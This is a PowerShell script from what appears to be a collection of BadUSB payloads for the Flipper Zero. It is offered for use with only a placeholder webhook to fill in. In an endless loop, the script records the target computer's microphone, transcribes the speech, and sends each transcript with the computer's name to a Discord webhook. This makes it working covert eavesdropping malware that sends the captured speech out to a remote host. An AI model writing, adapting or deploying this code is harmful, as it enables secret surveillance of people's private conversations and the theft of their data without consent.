Files
BadUSB-Files-For-FlipperZero/Speech-to-Discord/main.ps1
2024-04-11 21:33:08 +00:00

29 lines
915 B
PowerShell

<#=============================== Speech to Discord ====================================
SYNOPSIS
Uses assembly 'System.Speech' to take audio input and convert to text and then send the text to discord.
SETUP
1. Replace 'YOUR_WEBHOOK_HERE' with your discord webhook
#>
$dc = 'WEBHOOK_HERE' # can be shortened
Add-Type -AssemblyName System.Speech
$speech = New-Object System.Speech.Recognition.SpeechRecognitionEngine
$grammar = New-Object System.Speech.Recognition.DictationGrammar
$speech.LoadGrammar($grammar)
$speech.SetInputToDefaultAudioDevice()
while ($true) {
$result = $speech.Recognize()
if ($result) {
$results = $result.Text
Write-Output $results
if ($dc.Ln -ne 121){$dc = (irm $dc).url}
$Body = @{'username' = $env:COMPUTERNAME ; 'content' = $results}
irm -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)
}
}